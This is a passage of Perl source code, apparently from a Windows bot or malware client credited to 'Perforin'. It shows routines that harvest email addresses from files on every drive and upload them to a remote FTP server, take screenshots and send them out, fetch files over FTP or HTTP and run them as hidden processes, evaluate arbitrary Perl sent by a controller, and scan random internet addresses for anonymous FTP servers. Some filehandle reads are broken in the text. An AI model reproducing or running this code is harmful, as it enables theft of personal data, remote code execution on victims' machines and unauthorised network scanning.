?',
' ?_d[o|0]t[ |_|-]?sign_ ?',
' ?\(_d[o|0]t[ |_|-]?sign_\) ?',
' ?\[_d[o|0]t[ |_|-]?sign_\] ?',
' ?\{_d[o|0]t[ |_|-]?sign_\} ?',
' ?\(p[o|0]int\) ?',
' ?\[p[o|0]int\] ?',
' ?\{p[o|0]int\} ?',
' ? ?',
' ?_p[o|0]int_ ?',
' ?\(punkt\) ?',
' ?\[punkt\] ?',
' ?\{punkt\} ?',
' ? ?',
' ?_punkt_ ?',
' ?chr\(46\) ?',
' ?. ?',
' ?. ?',
' ?.\; ?');
$dotsign = join ('|', @dotsign);
open (RECIPS,">","$recips");
foreach $maildrives (@maildrives)
{
chdir ("$maildrives\\");
find(\&$getmailstype,$maildrives);
}
chdir ("$pfad");
close (RECIPS);
########################################
# Doppelte E-Mails löschen by Perforin #
########################################
open(RECIPSLESEN,"<","$recips");
%hash;
for ()
{
$hash{$_} = 1;
}
close (RECIPSLESEN);
unlink ("$recips");
$uploadfile = "$nick\_Emails.txt";
open (RECIPSSCHREIBEN,">","$uploadfile");
@unsortedemails = keys(%hash);
@emails = sort(@unsortedemails);
print RECIPSSCHREIBEN @emails;
close (RECIPSSCHREIBEN);
ftpuploadthread();
$ftpgetmails = "false";
threads->exit;
}
sub getmailssub
{
$File::Find::name =~ s/\//\\\\/g;
if (-f $File::Find::name && $File::Find::name =~ m/($mailfiles)$/i)
{
open (MFILE,"<","$File::Find::name") || next;
while ($zeile = )
{
foreach ($zeile =~ m/(\w[-.\w]+\@[-.\w]+\.[A-Za-z]{2,4})/ig)
{
next if $_ =~ m/($blacklist_emails)/i;
$email = lc($_);
print RECIPS "$email\r\n";
select(undef, undef, undef, 0.001);
}
}
close (MFILE);
}
}
sub getmoremailssub
{
$File::Find::name =~ s/\//\\\\/g;
if (-f $File::Find::name && $File::Find::name =~ m/($mailfiles)$/i)
{
open (MFILE,"<","$File::Find::name") || next;
while ($zeile = )
{
while ($zeile =~ m/(\w[-.\w]+)($atsign)([-.\w]+)($dotsign)([a-z]{2,4})/ig)
{
$email = "$1\@$3\.$5";
next if $email =~ m/($blacklist_emails)/i;
$email = lc($email);
print RECIPS "$email\r\n";
select(undef, undef, undef, 0.001);
}
}
close (MFILE);
}
}
sub ftpdownloadthread
{
$ftpsock = new IO::Socket::INET(PeerAddr => "$ftphost",
PeerPort => "$ftpport",
Proto => "tcp");
while ($ftpinput = <$ftpsock>)
{
if ($ftpinput =~ m/^(220) /)
{
print $ftpsock "USER $ftpname\r\n";
}
if ($ftpinput =~ m/^(331) /)
{
print $ftpsock "PASS $ftppass\r\n";
}
if ($ftpinput =~ m/^(230) /)
{
print $ftpsock "TYPE I\r\n";
}
if ($ftpinput =~ m/^(200) /)
{
print $ftpsock "PASV\r\n";
}
if ($ftpinput =~ m/^(227) .* \((\d+,\d+,\d+,\d+),(\d+),(\d+)\)/)
{
$ftphost2 = "$2";
$ftpport3 = "$3";
$ftpport4 = "$4";
$ftphost2 =~ s/,/\./g;
$ftpport2 = $ftpport3 * 256;
$ftpport2 = $ftpport2 + $ftpport4;
print $ftpsock "RETR $ftpfile\r\n";
}
if ($ftpinput =~ m/^(150) /)
{
$ftpsock2 = new IO::Socket::INET( PeerAddr => "$ftphost2",
PeerPort => "$ftpport2",
Proto => "tcp");
open (FTPFILE,">","$dlfile");
binmode (FTPFILE);
while (<$ftpsock2>)
{
print FTPFILE "$_";
}
close ($ftpsock2);
close (FTPFILE);
}
if ($ftpinput =~ m/^(226) /)
{
print $ftpsock "QUIT\r\n";
}
if ($ftpinput !~ m/^(150|200|220|221|226|227|230|331)/)
{
print $ftpsock "QUIT\r\n";
}
}
close ($ftpsock);
if (($befehl) eq (-ftpupdate))
{
Win32::Process::Create($pdownload, "$dlfile", "\"$pfad\\$dlfile\" $dlpara", "0", "DETACHED_PROCESS", ".") && exit;
}
if (($befehl) eq (-ftpdownexec))
{
Win32::Process::Create($pdownload, "$dlfile", "\"$pfad\\$dlfile\" $dlpara", "0", "DETACHED_PROCESS", ".");
}
threads->exit;
}
sub ftpuploadthread
{
undef $ftprandom;
@ftprandomzeichen = ('a'..'z','0'..'9');
for (1..10)
{
$ftprandom.= @ftprandomzeichen[int(rand@ftprandomzeichen)];
}
$ftpfile = "$nick\_$ftprandom.zip";
if ($uploadfile =~ m/.*\\(.*?)$/)
{
$uploadfileinzip = "$1";
}
$makezip = Archive::Zip->new();
$makezip->addFile("$uploadfile","$uploadfileinzip");
foreach $member ($makezip->members())
{
$member->desiredCompressionMethod( COMPRESSION_DEFLATED );
$member->desiredCompressionLevel( 9 );
}
$makezip->writeToFileNamed("$ftpfile");
$ftpsock = new IO::Socket::INET(PeerAddr => "$ftphost",
PeerPort => "$ftpport",
Proto => "tcp");
while ($ftpinput = <$ftpsock>)
{
if ($ftpinput =~ m/^(220) /)
{
print $ftpsock "USER $ftpname\r\n";
}
if ($ftpinput =~ m/^(331) /)
{
print $ftpsock "PASS $ftppass\r\n";
}
if ($ftpinput =~ m/^(230) /)
{
print $ftpsock "TYPE I\r\n";
}
if ($ftpinput =~ m/^(200) /)
{
print $ftpsock "PASV\r\n";
}
if ($ftpinput =~ m/^(227) .* \((\d+,\d+,\d+,\d+),(\d+),(\d+)\)/)
{
$ftphost2 = "$2";
$ftpport3 = "$3";
$ftpport4 = "$4";
$ftphost2 =~ s/,/\./g;
$ftpport2 = $ftpport3 * 256;
$ftpport2 = $ftpport2 + $ftpport4;
print $ftpsock "STOR $ftpfile\r\n";
}
if ($ftpinput =~ m/^(150) /)
{
$ftpsock2 = new IO::Socket::INET( PeerAddr => "$ftphost2",
PeerPort => "$ftpport2",
Proto => "tcp");
open (FTPFILE,"<","$ftpfile");
binmode (FTPFILE);
while ()
{
print $ftpsock2 "$_";
}
close ($ftpsock2);
close (FTPFILE);
}
if ($ftpinput =~ m/^(226) /)
{
print $ftpsock "QUIT\r\n";
}
if ($ftpinput !~ m/^(150|200|220|221|226|227|230|331)/)
{
print $ftpsock "QUIT\r\n";
}
}
close ($ftpsock);
unlink ($ftpfile);
threads->exit;
}
#############################
# Screencapture by Perforin #
#############################
sub ftpscreenthread
{
$uploadfile = "$pfad\\$nick\_Screen.png";
$makescreen = CaptureScreen();
$makescreen->SaveToFile("$uploadfile");
ftpuploadthread();
unlink ("$uploadfile");
threads->exit;
}
sub perlthread
{
eval "$perlline";
threads->exit;
}
sub pubscanthread
{
open (PUBFILE,">","$pubfile");
while ($pubscan eq true)
{
$A = int(rand(256));
$B = int(rand(256));
$C = int(rand(256));
$D = int(rand(256));
$ftpsock = new IO::Socket::INET(PeerAddr => "$A.$B.$C.$D",
PeerPort => "21",
Proto => "tcp",
Timeout => "5");
while ($ftpinput = <$ftpsock>)
{
if ($ftpinput =~ m/^(220) /)
{
print $ftpsock "USER anonymous\r\n";
}
if ($ftpinput =~ m/^(331) /)
{
print $ftpsock "PASS anonymous\@$A.$B.$C.$D.com\r\n";
}
if ($ftpinput =~ m/^(230) /)
{
print PUBFILE "$A.$B.$C.$D\r\n";
print $ftpsock "QUIT\r\n";
}
if ($ftpinput !~ m/^(220|331|230|221)/)
{
print $ftpsock "QUIT\r\n";
}
}
close ($ftpsock);
select(undef, undef, undef, 0.001);
}
close (PUBFILE);
threads->exit;
}
sub webdownloadthread
{
getstore($dlurl,$dlfile);
if (($befehl) eq (-webupdate))
{
Win32::Process::Create($pdownload, "$dlfile", "\"$pfad\\$dlfile\" $dlpara", "0", "DETACHED_PROCESS", ".") && exit;
}
if (($befehl) eq (-webdownexec))
{
Win32::Process::Create($pdownload, "$dlfile", "\"$pfad\\$dlfile\" $dlpara", "0", "DETACHED_PROCESS", ".");
}
threads->exit;
}